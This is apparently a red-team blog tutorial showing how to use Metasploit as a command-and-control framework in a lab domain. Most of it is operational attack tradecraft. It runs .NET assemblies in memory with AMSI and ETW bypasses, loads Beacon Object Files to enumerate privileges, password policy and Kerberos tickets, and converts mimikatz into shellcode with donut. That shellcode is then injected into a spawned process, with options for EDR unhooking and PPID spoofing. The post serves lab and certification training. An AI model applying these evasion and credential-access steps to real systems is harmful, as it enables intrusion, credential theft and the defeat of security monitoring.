Who needs Cobalt Strike? Using Metasploit like a modern C2
The best thing about Metasploit is you already most likely know how to use it. I've tried other free C2's like Sliver and Havoc but every time I try to use them I find some edge case that they cannot do that Metasploit does easily1. So let's start using Metasploit like a pro!
The following post improves on the tradecraft taught by Offensive Security in their OSEP course - and would work well for those doing HTB Prolabs - while still allowing you to take advantage of Metasploit's good features2.
Thanks to the creators of GOAD for creating a lab I can use for demonstration purposes
execute_dotnet_assembly
Execute_dotnet_assembly is similar to Cobalt Strike's execute-assembly
. It allows us to run dotnet assemblies on the victim machine in memory (C# tools like SharpView, SharpUp, or Rubeus which we host on our attacker machine). This means we do not need to upload the file to the victim's machine and risk on-disk detection. This module can be configured to Fork&Run but the default is to use the SELF method where no new process is spawned.
This is a post-exploitation module which means we need to background our meterpreter session with ctrl-z
.
msf6 post(windows/manage/execute_dotnet_assembly) > options
Module options (post/windows/manage/execute_dotnet_assembly):
Name Current Setting Required Description
---- --------------- -------- -----------
AMSIBYPASS true yes Enable AMSI bypass
ARGUMENTS Get-Domain no Command line arguments
DOTNET_EXE /home/kali/tools/csharp-files/Shar yes Assembly file name
pView.exe
ETWBYPASS true yes Enable ETW bypass
SESSION 1 yes The session to run this module on
TECHNIQUE SELF yes Technique for executing assembly (Accepted: SELF, INJECT, SPAW
N_AND_INJECT)
When TECHNIQUE is INJECT:
Name Current Setting Required Description
---- --------------- -------- -----------
PID no PID to inject into
When TECHNIQUE is SPAWN_AND_INJECT:
Name Current Setting Required Description
---- --------------- -------- -----------
PPID no Process Identifier for PPID spoofing when creating a new process (no PPID spo
ofing if unset)
PROCESS notepad.exe no Process to spawn
USETHREADTOKEN true no Spawn process using the current thread impersonation
I find this semi-reliable but there are limitations on the arguments and receiving the output, plus if you use the SELF method and the execution breaks then the shell will also die.
It does work well for SharpView: if PowerShell is restricted we can still enumerate the domain:
msf6 post(windows/manage/execute_dotnet_assembly) > run
# [*] Running module against WS (192.168.1.112)
# [*] Opening handle to process 1456...
# [+] Handle opened
# [*] Reflectively injecting the Host DLL into 1456 (x64)...
# [*] Injecting Host into 1456...
# [*] Host injected. Copy assembly into 1456...
# [*] Assembly copied.
# [*] Executing...
# [*] Start reading output
# [*] Writing output to /home/kali/.msf4/logs/dotnet/log_SharpView.exe_20250827155245
Forest : mini.lab
DomainControllers : {dc.mini.lab}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
PdcRoleOwner : dc.mini.lab
RidRoleOwner : dc.mini.lab
InfrastructureRoleOwner : dc.mini.lab
Name : mini.lab
# [*] End output.
# [+] Execution finished.
# [*] Post module execution completed
bofloader
More modern tradecraft is built around using BOF's (Beacon Object Files) instead of dotnet assemblies. When C code is compiled to an .exe
or .elf
, this is actually a multi-step process with compilation as one step which produces an object file which is then assembled and linked to create the final binary. BOFs are object files which can be loaded into the malicious process's memory with no requirement to spawn a new process and don't have the .NET Common Language Runtime requirement of execute_dotnet_assembly
: thus reducing the risk of being detected.
BOF support is more commonly associated with "proper" C2s but Metasploit has had the feature since 2022. The implementation seems a little awkward at first but it's actually pretty straight forward.
It's not a post-exploitation module so this time we can stay right in our meterpreter session:
meterpreter > load bofloader
Loading extension bofloader...
meterpreter
▄▄▄▄ ▒█████ █████▒
▓█████▄ ▒██▒ ██▒▓██ ▒
▒██▒ ▄██▒██░ ██▒▒████ ░
▒██░█▀ ▒██ ██░░▓█▒ ░
░▓█ ▀█▓░ ████▓▒░░▒█░
░▒▓███▀▒░ ▒░▒░▒░ ▒ ░
▒░▒ ░ ░ ▒ ▒░ ░ ~ by @kev169, @GuhnooPluxLinux, @R0wdyJoe, @skylerknecht ~
░ ░ ░ ░ ░ ▒ ░ ░
░ ░ ░ loader
░
Success.
With the feature loaded, we need something to run. You can find lots of useful BOF collections here and then follow the instructions to compile them. You'll see the output of this process is .o
files. If the BOF expects no arguments then they can be run like so:
meterpreter > execute_bof /home/kali/tools/bof/CS-Situational-Awareness-BOF/SA/whoami/whoami.x64.o
[*] No arguments specified, executing bof with no arguments.
UserName SID
====================== ====================================
MINILAB\WS$ S-1-5-18
GROUP INFORMATION Type SID Attributes
================================================= ===================== ============================================= ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner,
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group,
Mandatory Label\System Mandatory Level Label S-1-16-16384 Mandatory group, Enabled by default, Enabled group,
Privilege Name Description State
============================= ================================================= ===========================
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilegeProfile single process Enabled
SeIncreaseBasePriorityPrivilegeIncrease scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilegeObtain an impersonation token for another user in the same sessionEnabled
Things seem a bit more complicated if the BOF expects arguments because we need to provide the format string for the input. Getting this wrong will cause both the BOF and meterpreter to crash. But to find the right information is as simple as looking at the .cna
file usually provided to load these into Cobalt Strike. Let's take a BOF I haven't run before: get_password_policy
from the CS-Situational-Awareness-BOF Collection. After compiling the collection, I opened the .cna
file and looked for the function with particular attention to the second argument passed to bof_pack
.
$ /home/kali/tools/bof/CS-Situational-Awareness-BOF/SA/SA.cna
[...SNIP...]
alias get_password_policy
{
local('$server $args');
if(size(@_) < 2)
{
berror($1, "Invalid number of arguments, must specify target server / DC");
berror($1, beacon_command_detail("get_password_policy"));
return;
}
$server = $2;
$args = bof_pack($1, "Z", $server);
beacon_inline_execute($1, readbof($1, "get_password_policy", $null, "T1201"), "go", $args);
}
[...SNIP...]
This argument expects type Z and we can see in the error message it's looking for a target server or Domain Controller.
The types equate to the following:
Type | Description |
---|---|
b | binary data (e.g. 01020304, file:/path/to/file.bin)1 |
i | 32-bit integer (e.g. 0x1234, 5678) |
s | 16-bit integer (e.g. 0x1234, 5678) |
z | null-terminated utf-8 string |
Z | null-terminated utf-16 string |
Now we know we need to provide type Z using -f Z
and that it will be a string:
meterpreter > execute_bof /home/kali/tools/bof/CS-Situational-Awareness-BOF/SA/get_password_policy/get_password_policy.x64.o -f Z "192.168.1.149"
Minimum password length: 5
Maximum password age (days): Unlimited
Minimum password age (days): 1
Forced log off time (seconds): Never
Password history length: 24
Lockout duration (minutes): 5
Lockout observation window (minutes): 5
Lockout threshold: 5
We can apply this knowledge to run the BOF implementation of Rubeus which is a significant improvement on running this via execute_dotnet_assembly
:
meterpreter > execute_bof /home/kali/tools/bof/kerbeus/_bin/triage.x64.o
[*] No arguments specified, executing bof with no arguments.
Action: List Kerberos Tickets (All Users)
--------------------------------------------------------------------------------------------------------------------------
| LUID | Client | Service | End Time |
--------------------------------------------------------------------------------------------------------------------------
| 0:0x3e4 | ws$ @ MINI.LAB | krbtgt/MINI.LAB | 28.08.2025 05:26:37 |
| 0:0x3e4 | ws$ @ MINI.LAB | krbtgt/MINI.LAB | 28.08.2025 05:26:37 |
| 0:0x3e4 | ws$ @ MINI.LAB | cifs/dc.mini.lab | 28.08.2025 05:26:37 |
| 0:0x3e4 | ws$ @ MINI.LAB | ldap/dc.mini.lab/mini.lab | 28.08.2025 05:26:37 |
| 0:0x3e7 | ws$ @ MINI.LAB | krbtgt/MINI.LAB | 28.08.2025 05:26:37 |
| 0:0x3e7 | ws$ @ MINI.LAB | krbtgt/MINI.LAB | 28.08.2025 05:26:37 |
| 0:0x3e7 | ws$ @ MINI.LAB | LDAP/dc.mini.lab | 28.08.2025 05:26:37 |
| 0:0x3e7 | ws$ @ MINI.LAB | cifs/dc.mini.lab/mini.lab | 28.08.2025 05:26:37 |
| 0:0x3e7 | ws$ @ MINI.LAB | WS$ | 28.08.2025 05:26:37 |
| 0:0x3e7 | ws$ @ MINI.LAB | LDAP/dc.mini.lab/mini.lab | 28.08.2025 05:26:37 |
--------------------------------------------------------------------------------------------------------------------------
shellcode_inject
The final method I am going to demonstrate is injecting shellcode. Shellcode doesn't have to give us a shell, it can be any binary in shellcode format (specifically Position Independent Shellcode).
We can turn any binary into Position Independent Shellcode with donut. In this example I'll use mimikatz.
┌──(kali㉿kali)-[~/tools/mimikatz]
└─$ /home/kali/tools/donut/donut -i /home/kali/tools/mimikatz/mimikatz.exe -a 2 -b 2 -o /home/kali/tools/mimikatz/katz.bin
[ Donut shellcode generator v1 (built Jul 21 2025 15:46:31)
[ Copyright (c) 2019-2021 TheWover, Odzhan
[ Instance type : Embedded
[ Module file : "/home/kali/tools/mimikatz/mimikatz.exe"
[ Entropy : Random names + Encryption
[ File type : EXE
[ Target CPU : amd64
[ AMSI/WDLP/ETW : abort
[ PE Headers : overwrite
[ Shellcode : "/home/kali/tools/mimikatz/katz.bin"
[ Exit : Thread
There's an optional setting to pass arguments to the binary file but I won't use that here. There's a number of options for shellcode_inject
but the only mandatory ones are session
and shellcode
. The other options allow us to avoid Fork&Run, or spoof the parent PID so that (e.g.) we could have a web request appear to come from a browser process.
msf6 post(windows/manage/shellcode_inject) > options
Module options (post/windows/manage/shellcode_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTOUNHOOK false yes Auto remove EDRs hooks
BITS 64 yes Set architecture bits (Accepted: 32, 64)
CHANNELIZED false yes Retrieve output of the process
HIDDEN true yes Spawn an hidden process
INTERACTIVE false yes Interact with the process
PID 0 no Process Identifier of process to inject the shellcode. (0 = new process)
PPID 0 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID s
poofing)
SESSION yes The session to run this module on
SHELLCODE yes Path to the shellcode to execute
WAIT_UNHOOK 5 yes Seconds to wait for unhook to be executed
For mimikatz I'll need to set channelized
and interactive
to true so that I can see the output:
msf6 post(windows/manage/shellcode_inject) > set session 1
session => 1
msf6 post(windows/manage/shellcode_inject) > set channelized true
channelized => true
msf6 post(windows/manage/shellcode_inject) > set interactive true
interactive => true
msf6 post(windows/manage/shellcode_inject) > set shellcode /home/kali/tools/mimikatz/katz.bin
shellcode => /home/kali/tools/mimikatz/katz.bin
msf6 post(windows/manage/shellcode_inject) > run
[*] Running module against WS (192.168.1.112)
[*] Spawned Notepad process 6320
[+] Successfully injected payload into process: 6320
[*] Interacting
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz #